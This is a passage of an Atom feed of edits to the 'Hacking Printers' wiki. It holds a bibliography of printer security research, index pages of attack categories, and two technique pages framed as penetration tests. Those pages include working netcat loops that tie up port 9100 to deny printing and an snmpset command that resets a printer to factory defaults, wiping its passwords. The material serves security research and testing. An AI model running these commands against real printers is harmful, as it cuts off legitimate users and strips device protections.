<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>http://hacking-printers.net/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=92.227.58.56</id>
		<title>Hacking Printers - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="http://hacking-printers.net/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=92.227.58.56"/>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Special:Contributions/92.227.58.56"/>
		<updated>2026-06-22T11:39:07Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.26.4</generator>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Bibliography&amp;diff=162</id>
		<title>Bibliography</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Bibliography&amp;diff=162"/>
				<updated>2017-01-15T17:27:48Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Research by date ==&lt;br /&gt;
&lt;br /&gt;
=== 2016 ===&lt;br /&gt;
&lt;br /&gt;
'''Exploiting Network Printers:  A Survey of Security Flaws in Laser Printers and Multi-Function Devices''' ([TBD PDF])&lt;br /&gt;
&amp;lt;br&amp;gt;by Jens Müller, Juraj Somorovsky, Vladislav Mladenov | Proof-of-concept code: [https://github.com/RUB-NDS/PRET]&lt;br /&gt;
&lt;br /&gt;
'''PWN Xerox Printers (...again):  About Hardware Attacks and Insecure Cloning''' ([https://www.fkie.fraunhofer.de/content/dam/fkie/de/documents/xerox_phaser_6700_white_paper.pdf PDF])&lt;br /&gt;
&amp;lt;br&amp;gt;by Peter Weidenbach, Raphael Ernst&lt;br /&gt;
&lt;br /&gt;
=== 2014 ===&lt;br /&gt;
&lt;br /&gt;
'''A Large-Scale Analysis of the Security of Embedded Firmwares''' ([https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-costin.pdf PDF])&lt;br /&gt;
&amp;lt;br&amp;gt;by Andrei Costin, Jonas Zaddach, Aurélien Francillon, and Davide Balzarotti | Video: [https://www.youtube.com/watch?v=5gf6mFz1rPM]&lt;br /&gt;
&lt;br /&gt;
'''Hacking Canon Pixma Printers - Doomed Encryption''' ([http://www.contextis.com/resources/blog/hacking-canon-pixma-printers-doomed-encryption/ HTML])&lt;br /&gt;
&amp;lt;br&amp;gt;by Michael Jordon&lt;br /&gt;
&lt;br /&gt;
=== 2013 ===&lt;br /&gt;
&lt;br /&gt;
'''Embedded Devices Security and Firmware Reverse Engineering''' ([http://s3.eurecom.fr/docs/bh13us_zaddach.pdf PDF])&lt;br /&gt;
&amp;lt;br&amp;gt;by Jonas Zaddach, Andrei Costin&lt;br /&gt;
&lt;br /&gt;
'''Research Report on the Security of MFPs''' ([https://www.ipa.go.jp/security/jisec/apdx/documents/20130312report_E.pdf])&lt;br /&gt;
&amp;lt;br&amp;gt;by IPA Information-technology Promotion Agency, Japan&lt;br /&gt;
&lt;br /&gt;
=== 2012 ===&lt;br /&gt;
&lt;br /&gt;
'''PostScript: Danger Ahead?!'''&lt;br /&gt;
&amp;lt;br&amp;gt;by Andrei Costin | Slides: [https://infocon.org/cons/Hack%20In%20Paris/Hack%20In%20Paris%202012/Slides/Andrei-PostScript%20Danger%20Ahead.pdf] | Video: [https://www.youtube.com/watch?v=ygcs0m5C9ZI]&lt;br /&gt;
&lt;br /&gt;
=== 2011 ===&lt;br /&gt;
&lt;br /&gt;
'''Print Me If You Dare: Firmware Modification Attacks and the Rise of Printer Malware'''&lt;br /&gt;
&amp;lt;br&amp;gt;by Ang Cui, Salvatore Stolfo | Slides: [http://ids.cs.columbia.edu/sites/default/files/CuiPrintMeIfYouDare.pdf] | Video: [https://www.youtube.com/watch?v=njVv7J2azY8]&lt;br /&gt;
&lt;br /&gt;
'''Printers gone Wild (PrintFS PJL filesystem)'''&lt;br /&gt;
&amp;lt;br&amp;gt;by Ben Smith | Video: [http://www.securitytube.net/video/1395] | Proof-of-concept code: [http://www.remote-exploit.org/articles/printfs/index.html]&lt;br /&gt;
&lt;br /&gt;
'''From Printer to Pwnd: Leveraging Multifunction Printers During Penetration Testing'''&lt;br /&gt;
&amp;lt;br&amp;gt;by Deral Heiland | Slides: [http://foofus.net/goons/percx/defcon/P2PWND.pdf] | Video: [https://www.youtube.com/watch?v=PH4pTCmKgOg] | Proof-of-concept code: [https://github.com/percx/Praeda]&lt;br /&gt;
&lt;br /&gt;
'''From Patched to Pwned: Attacking Xerox's  Multifunction Printers Patch Process''' ([http://foofus.net/goons/percx/Xerox_hack.pdf PDF])&lt;br /&gt;
&amp;lt;br&amp;gt;by Deral Heiland&lt;br /&gt;
&lt;br /&gt;
=== 2010 ===&lt;br /&gt;
&lt;br /&gt;
'''Hacking Printers for Fun and Profit'''&lt;br /&gt;
&amp;lt;br&amp;gt;by Andrei Costin | Slides: [http://andreicostin.com/papers/Conf%20-%20Hack.lu%20-%202010%20-%20Luxembourg%20-%20AndreiCostin_HackingPrintersForFunAndProfit.pdf] | Video: [https://www.youtube.com/watch?v=R56ZXErKCeE]&lt;br /&gt;
&lt;br /&gt;
'''Juste une imprimant?'''&lt;br /&gt;
&amp;lt;br&amp;gt;by NBS System | Slides: [http://www.ossir.org/jssi/jssi2010/1A.pdf]&lt;br /&gt;
&lt;br /&gt;
=== 2006 ===&lt;br /&gt;
&lt;br /&gt;
'''Hacking Network Printers''' ([http://www.irongeek.com/i.php?page=security/networkprinterhacking HTML])&lt;br /&gt;
&amp;lt;br&amp;gt;by Adrian Crenshaw (Irongeek)&lt;br /&gt;
&lt;br /&gt;
=== 2002 ===&lt;br /&gt;
&lt;br /&gt;
'''Understanding, Reversing, and Hacking HP Printers''' ([http://search.lores.eu/realicra/hp_slobo.htm HTML])&lt;br /&gt;
&amp;lt;br&amp;gt;by Slobotron&lt;br /&gt;
&lt;br /&gt;
'''Printer Exploration (PFT and Hijetter, libPJL, ChaiPortScan, ChaiCrack)'''&lt;br /&gt;
&amp;lt;br&amp;gt;FtR of Phenoelit, FX of Phenoelit | Proof-of-concept code: [http://www.phenoelit.org/hp/index.html]&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Print_job_access&amp;diff=161</id>
		<title>Print job access</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Print_job_access&amp;diff=161"/>
				<updated>2017-01-15T17:26:14Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The most valuable data found on printers is print jobs themselves. Even in a digital world, important documents are printed and kept as hard copies. In high security environments with encrypted hard disks and network traffic, printers might be the weakest link in the security chain.&lt;br /&gt;
&lt;br /&gt;
''Currently, the following print job access categories are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Print job retention]] – Obtaining documents printed by other users (the ultimate goal in printer hacking)&lt;br /&gt;
* [[Print job manipulation]] – Editing documents printed by other users (overlay graphics and further pranks)&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Code_execution&amp;diff=160</id>
		<title>Code execution</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Code_execution&amp;diff=160"/>
				<updated>2017-01-15T17:22:19Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Any computer system may be prone to malicious code execution. Printers are no exception. While there are numerous potential attack vectors, two standard ways of importing foreign code are present in most of today's printers and MFPs by design: the ability to perform firmware updates and to install additional software packages. Furthermote, a short introduction to the danger of buffer overflows in embedded devices is given.&lt;br /&gt;
&lt;br /&gt;
''Currently, the following techniques to achieve code execution are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Buffer overflows]] – Smashing the stack based on unsanitized [[LPD]] and [[PJL]] input&lt;br /&gt;
* [[Firmware updates]] – Deploying malicious firmware through ordinary print jobs&lt;br /&gt;
* [[Software packages]] – Installing custom software on MFPs and printer devices&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Information_disclosure&amp;diff=159</id>
		<title>Information disclosure</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Information_disclosure&amp;diff=159"/>
				<updated>2017-01-15T17:17:24Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Apart from print jobs, printers may contain further potentially sensitive information like passwords – not only for the device itself but sometimes even to the surrounding network environment.&lt;br /&gt;
&lt;br /&gt;
''Currently, the following information disclosure categories are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Memory access]] – Dumping the printer's NVRAM using proprietary PJL commands&lt;br /&gt;
* [[File system access]] – Performing file system operations using PostScript and PJL&lt;br /&gt;
* [[Credential disclosure]] – Obtaining PJL and PostScript passwords by brute-force attacks&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Information_disclosure&amp;diff=158</id>
		<title>Information disclosure</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Information_disclosure&amp;diff=158"/>
				<updated>2017-01-15T17:15:59Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Apart from print jobs, printers may contain further potentially sensitive information like passwords – not only for the device itself but sometimes even to the network environment.&lt;br /&gt;
&lt;br /&gt;
''Currently, the following information disclosure categories are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Memory access]] – Dumping the printer's NVRAM using proprietary PJL commands&lt;br /&gt;
* [[File system access]] – Performing file system operations using PostScript and PJL&lt;br /&gt;
* [[Credential disclosure]] – Obtaining PJL and PostScript passwords by brute-force attacks&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Privilege_escalation&amp;diff=157</id>
		<title>Privilege escalation</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Privilege_escalation&amp;diff=157"/>
				<updated>2017-01-15T17:13:04Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This category of attacks lists methods which can be used to bypass protection mechanisms or to extend the capabilities of an attacker.&lt;br /&gt;
&lt;br /&gt;
''Currently, the following privilege escalation techniques are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Factory defaults]] – Resetting the device to bypass protection mechanisms set by the user&lt;br /&gt;
* [[Accounting bypass]] – Breaking accounting and authentication in print servers (free copies!)&lt;br /&gt;
* [[Fax and Scanner]] – Extending the attackers capabilities (access to phone lines through MFPs!)&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Privilege_escalation&amp;diff=156</id>
		<title>Privilege escalation</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Privilege_escalation&amp;diff=156"/>
				<updated>2017-01-15T17:10:02Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This category of attacks lists methods which can be used to bypass protection mechanisms or to extend the capabilities of an attacker.&lt;br /&gt;
&lt;br /&gt;
''Currently, the following privilege escalation techniques are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Factory defaults]] – Resetting the device to bypass protection mechanisms set by the user&lt;br /&gt;
* [[Accounting bypass]] – Breaking accounting and authentication in print servers (free copies!)&lt;br /&gt;
* [[Fax and Scanner]] – Extending the attackers capabilities, e.g. to access phone lines via MFPs&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Privilege_escalation&amp;diff=155</id>
		<title>Privilege escalation</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Privilege_escalation&amp;diff=155"/>
				<updated>2017-01-15T17:09:47Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This category of attacks lists methods which can be used to bypass protection mechanisms or to extend the capabilities of and attacker.&lt;br /&gt;
&lt;br /&gt;
''Currently, the following privilege escalation techniques are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Factory defaults]] – Resetting the device to bypass protection mechanisms set by the user&lt;br /&gt;
* [[Accounting bypass]] – Breaking accounting and authentication in print servers (free copies!)&lt;br /&gt;
* [[Fax and Scanner]] – Extending the attackers capabilities, e.g. to access phone lines via MFPs&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Denial_of_service&amp;diff=154</id>
		<title>Denial of service</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Denial_of_service&amp;diff=154"/>
				<updated>2017-01-15T16:53:40Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: Created page with &amp;quot;''' ''Rule of thumb: ‘If you can print, you can prevent others from printing’'' '''  Any network resource can be slowed down or even made completely unavailable to legitim...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''' ''Rule of thumb: ‘If you can print, you can prevent others from printing’'' '''&lt;br /&gt;
&lt;br /&gt;
Any network resource can be slowed down or even made completely unavailable to legitimate users by consuming its resources in terms of CPU/memory or bandwidth. Common techniques involve stressing services (for example, web servers and applications) or protocols on the network level (for example, [https://en.wikipedia.org/wiki/SYN_flood SYN flooding] or more advanced [https://en.wikipedia.org/wiki/Slowloris_%28computer_security%29 Slowloris] attacks). While those generic attacks work against network printers too, this wiki focuses on printer-specific denial of service attacks and gives a brief overview of methods to cause loss of availability and show that this can be accomplished by very simple means.&lt;br /&gt;
&lt;br /&gt;
While the business impact of unavailable printers might be limited in most offices, time-critical industries like overnight digital printing companies may suffer financial loss even for short-term outages.&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
''' ''Captain Obvious says: ‘Just send many documents with highest priority’'' '''&lt;br /&gt;
&lt;br /&gt;
A trivial but effective way to keep a printing device busy is to send a large number of documents. If the print spooler receives more jobs than it can process the queue will fill up, suspending print jobs from legitimate users. Such unsolicited print jobs are preferably set to the highest priority if the printing protocol allows prioritization. This simple attack works, because print spoolers are usually designed as ''FIFO'' queues instead of using a more ‘fair’ or balanced algorithm to protect against power users.&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''Currently, the following denial of service techniques are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Transmission channel]] – Blocking others by keeping a connection to port 9100/tcp open&lt;br /&gt;
* [[Document processing]] – Using PostScript and PJL to break printing functionality&lt;br /&gt;
* [[Physical damage]] – Exhausting the NVRAM's limited number of write cycles&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Print_job_access&amp;diff=153</id>
		<title>Print job access</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Print_job_access&amp;diff=153"/>
				<updated>2017-01-15T16:38:07Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Currently, the following print job access categories are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Print job retention]] – Obtaining documents printed by other users (the ultimate goal in printer hacking)&lt;br /&gt;
* [[Print job manipulation]] – Editing documents printed by other users (overlay graphics and further pranks)&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Code_execution&amp;diff=152</id>
		<title>Code execution</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Code_execution&amp;diff=152"/>
				<updated>2017-01-15T16:37:00Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Currently, the following techniques to achieve code execution are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Buffer overflows]] – Smashing the stack based on unsanitized [[LPD]] and [[PJL]] input&lt;br /&gt;
* [[Firmware updates]] – Deploying malicious firmware through ordinary print jobs&lt;br /&gt;
* [[Software packages]] – Installing custom software on MFPs and printer devices&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Information_disclosure&amp;diff=151</id>
		<title>Information disclosure</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Information_disclosure&amp;diff=151"/>
				<updated>2017-01-15T16:36:21Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Currently, the following information disclosure categories are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Memory access]] – Dumping the printer's NVRAM using proprietary PJL commands&lt;br /&gt;
* [[File system access]] – Performing file system operations using PostScript and PJL&lt;br /&gt;
* [[Credential disclosure]] – Obtaining PJL and PostScript passwords by brute-force attacks&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Print_job_access&amp;diff=150</id>
		<title>Print job access</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Print_job_access&amp;diff=150"/>
				<updated>2017-01-15T16:35:56Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Currently, the following techniques to access print jobs are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Print job retention]] – Obtaining documents printed by other users (the ultimate goal in printer hacking)&lt;br /&gt;
* [[Print job manipulation]] – Editing documents printed by other users (overlay graphics and further pranks)&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Privilege_escalation&amp;diff=149</id>
		<title>Privilege escalation</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Privilege_escalation&amp;diff=149"/>
				<updated>2017-01-15T16:35:31Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Currently, the following privilege escalation techniques are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Factory defaults]] – Resetting the device to bypass protection mechanisms set by the user&lt;br /&gt;
* [[Accounting bypass]] – Breaking accounting and authentication in print servers (free copies!)&lt;br /&gt;
* [[Fax and Scanner]] – Extending the attackers capabilities, e.g. to access phone lines via MFPs&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Code_execution&amp;diff=148</id>
		<title>Code execution</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Code_execution&amp;diff=148"/>
				<updated>2017-01-15T16:34:52Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: Created page with &amp;quot;''Currently, the following denial of service techniques are discussed in this wiki:''  * Buffer overflows – Smashing the stack based on unsanitized LPD and PJL i...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Currently, the following denial of service techniques are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Buffer overflows]] – Smashing the stack based on unsanitized [[LPD]] and [[PJL]] input&lt;br /&gt;
* [[Firmware updates]] – Deploying malicious firmware through ordinary print jobs&lt;br /&gt;
* [[Software packages]] – Installing custom software on MFPs and printer devices&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Information_disclosure&amp;diff=147</id>
		<title>Information disclosure</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Information_disclosure&amp;diff=147"/>
				<updated>2017-01-15T16:28:41Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: Created page with &amp;quot;''Currently, the following denial of service techniques are discussed in this wiki:''  * Memory access – Dumping the printer's NVRAM using proprietary PJL commands * F...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Currently, the following denial of service techniques are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Memory access]] – Dumping the printer's NVRAM using proprietary PJL commands&lt;br /&gt;
* [[File system access]] – Performing file system operations using PostScript and PJL&lt;br /&gt;
* [[Credential disclosure]] – Obtaining PJL and PostScript passwords by brute-force attacks&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Print_job_access&amp;diff=146</id>
		<title>Print job access</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Print_job_access&amp;diff=146"/>
				<updated>2017-01-15T16:28:26Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Currently, the following denial of service techniques are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Print job retention]] – Obtaining documents printed by other users (the ultimate goal in printer hacking)&lt;br /&gt;
* [[Print job manipulation]] – Editing documents printed by other users (overlay graphics and further pranks)&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Print_job_access&amp;diff=145</id>
		<title>Print job access</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Print_job_access&amp;diff=145"/>
				<updated>2017-01-15T16:23:21Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: Created page with &amp;quot;''Currently, the following denial of service techniques are discussed in this wiki:''  * Print job retention]] – Obtaining documents printed by other users * Print job manip...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Currently, the following denial of service techniques are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* Print job retention]] – Obtaining documents printed by other users&lt;br /&gt;
* Print job manipulation]] – Editing documents printed by other users&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Privilege_escalation&amp;diff=144</id>
		<title>Privilege escalation</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Privilege_escalation&amp;diff=144"/>
				<updated>2017-01-15T16:23:15Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: Created page with &amp;quot;''Currently, the following denial of service techniques are discussed in this wiki:''  * Factory defaults – Resetting the device to bypass protection mechanisms set by t...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Currently, the following denial of service techniques are discussed in this wiki:''&lt;br /&gt;
&lt;br /&gt;
* [[Factory defaults]] – Resetting the device to bypass protection mechanisms set by the user&lt;br /&gt;
* [[Accounting bypass]] – Breaking accounting and authentication in print servers (free copies!)&lt;br /&gt;
* [[Fax and Scanner]] – Extending the attackers capabilities, e.g. to access phone lines via MFPs&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Transmission_channel&amp;diff=143</id>
		<title>Transmission channel</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Transmission_channel&amp;diff=143"/>
				<updated>2017-01-15T15:55:10Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: Created page with &amp;quot;If print jobs are processed in series – which is assumed for most devices – only one job can be handled at a time. If this job does not terminate the printing channel effe...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;If print jobs are processed in series – which is assumed for most devices – only one job can be handled at a time. If this job does not terminate the printing channel effectively is blocked until a timeout is triggered, preventing legitimate users from printing. This trivial denial of service attack can be improved by setting a high timeout value with [[PJL]].&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
Connecting to port 9100/tcp of a printer without closing the connection prevents most devices to accept new print jobs. Tests can be performed using the ''netcat'' &amp;lt;ref&amp;gt;''[http://nc110.sourceforge.net/ Netcat – TCP/IP Swiss Army Knife]'', Hobbit, 1996&amp;lt;/ref&amp;gt; utility in a loop as shown below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=sh&amp;gt;&lt;br /&gt;
while true; do nc printer 9100; done&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A more advanced version of this DoS attack which sets a higher timeout is given below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=sh&amp;gt;&lt;br /&gt;
# get maximum timeout value with PJL&lt;br /&gt;
MAX=&amp;quot;`echo &amp;quot;@PJL INFO VARIABLES&amp;quot; | nc -w3 printer 9100 |\&lt;br /&gt;
  grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`&amp;quot;&lt;br /&gt;
# connect and set maximum timeout for current job with PJL&lt;br /&gt;
while true; do echo &amp;quot;@PJL SET TIMEOUT=$MAX&amp;quot; | nc printer 9100; done&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
While the PJL reference specifies a maximum timeout of 300 seconds &amp;lt;ref&amp;gt;''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997, ch. 6-25&amp;lt;/ref&amp;gt;, in practice maximum PJL timeouts may range from 15 to 2147483 seconds. Hence, this value is first retrieved be from the printer and then set in all further connections. The advantage of this approach is that the number of connections for an attacker to make is minimized while it is even harder for legitimate users to gain a free time slot (race condition) to deploy a print job. Note that even print jobs received from other printing channels like IPP or LPD are not processed anymore as long as the connection is kept open.&lt;br /&gt;
&lt;br /&gt;
To check the PJL timeout settings for you printer, [[PRET]] can be used as follows:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer pjl&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
 &lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; env timeout&lt;br /&gt;
 TIMEOUT=15 [2 RANGE]&lt;br /&gt;
        5&lt;br /&gt;
        300&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
Anyone who can access port 9100/tcp of a printer device. Note that this can even be accomplished with [[cross-site printing]] techniques as long as the website used to enforce XHR connections is kept open.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Factory_defaults&amp;diff=142</id>
		<title>Factory defaults</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Factory_defaults&amp;diff=142"/>
				<updated>2017-01-15T15:39:56Z</updated>
		
		<summary type="html">&lt;p&gt;92.227.58.56: /* PRESCRIBE */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Resetting a device to factory defaults is a security-critical functionality as it overwrites protection mechanisms like user-set passwords. This can usually be done by pressing a special key combination on the printer's control panel. Performing such a cold reset only takes seconds and therefore is a realistic scenario for local attackers or penetration testers, who can for example sneak into the copy room at lunchtime. However, physical access to the device is not always an option. The question comes up, if printer vendors have implemented the possibility to perform factory resets on-line using printer control or page description languages. They have, as discussed in this article.&lt;br /&gt;
&lt;br /&gt;
== SNMP ==&lt;br /&gt;
&lt;br /&gt;
The Printer-MIB &amp;lt;ref&amp;gt;''[https://www.ietf.org/rfc/rfc3805.txt RFC3805: Printer MIB v2]'', R. Bergman, I. McDonald and H. Lewis, 2004&amp;lt;/ref&amp;gt; defines the ''prtGeneralReset'' Object (OID 1.3.6.1.2.1.43.5.1.1.3.1) which allows an attacker to restart the device (''powerCycleReset(4)''), reset the NVRAM settings (''resetToNVRAM(5)'') or restore factory defaults (''resetToFactoryDefaults(6)'') using [[SNMP]]. This feature/attack is supported by a large variety of printers and removes all protection mechanisms like user-set passwords for the embedded web server. While protection mechanisms can be efficiently bypassed, a practical drawback of this approach is that all static IP address configuration will be lost. If no [[DHCP]] service is available, the attacker will not be able to reconnect to the device anymore after resetting it to factory defaults.&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
Resetting the device to factory default can be accomplished using ''snmpset'' command as shown below:&lt;br /&gt;
&lt;br /&gt;
 $ snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
Anyone who can send network packets to port 161/udp of the printer device.&lt;br /&gt;
&lt;br /&gt;
== PML/PJL ==&lt;br /&gt;
&lt;br /&gt;
In many scenarios an attacker does not have the capabilities to perform SNMP requests because of firewalls or unknown SNMP community strings. On HP devices however, SNMP can be transformed into its [[PML]] representation and embed the request within a legitimate print job. This allows an attacker to restart and/or reset the device to factory defaults within ordinary print jobs as shown below:&lt;br /&gt;
